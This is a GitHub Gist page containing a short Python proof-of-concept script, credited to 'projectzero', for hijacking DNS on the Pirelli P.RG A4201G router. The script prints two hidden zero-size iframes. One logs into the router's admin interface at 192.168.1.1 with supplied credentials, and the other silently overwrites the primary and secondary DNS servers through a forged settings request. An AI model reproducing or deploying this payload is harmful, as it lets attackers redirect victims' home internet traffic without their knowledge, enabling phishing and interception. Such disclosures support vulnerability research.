Created
July 28, 2015 11:07
-
-
Save zuBux/64bff92d82015b879840 to your computer and use it in GitHub Desktop.
DNS Hijacking for Pirelli P.RG A4201G
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
##PoC iframe generator for Pirelli P.RG A4201G | |
##DNS Hijacking by projectzero | |
##www.projectzero.gr | |
##Primary DNS | |
dns1 = "0.0.0.0" | |
dns1_split = dns1.split('.') | |
## Secondary DNS | |
dns2 ="0.0.0.0" | |
dns2_split = dns2.split('.') | |
##Login credentials | |
user = "user" | |
pwd = "pass" | |
login_iframe = "<iframe height=\"0\" width=\"0\" | |
src=\"http://192.168.1.1/cgi-bin/login.exe?user="+user+"&pws="+pwd+"\"></iframe>\n" | |
dns_iframe = "<iframe height=\"0\" width=\"0\" | |
src=\"http://192.168.1.1/cgi-bin/setup_dns.exe?page=setup_dns\ | |
&dns1_1="+dns1_split[0]+"&dns1_2="+dns1_split[1]+"&dns1_3="+dns1_split[2]+"&dns1_4="+dns1_split[3]+\ | |
"&dns2_1="+dns2_split[0]+"&dns2_2="+dns2_split[1]+"&dns2_3="+dns2_split[2]+"&dns2_4="+dns2_split[3]+\ | |
"&savesetting=SAVE+SETTINGS\"></iframe>\n\n" | |
print login_iframe | |
print dns_iframe |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment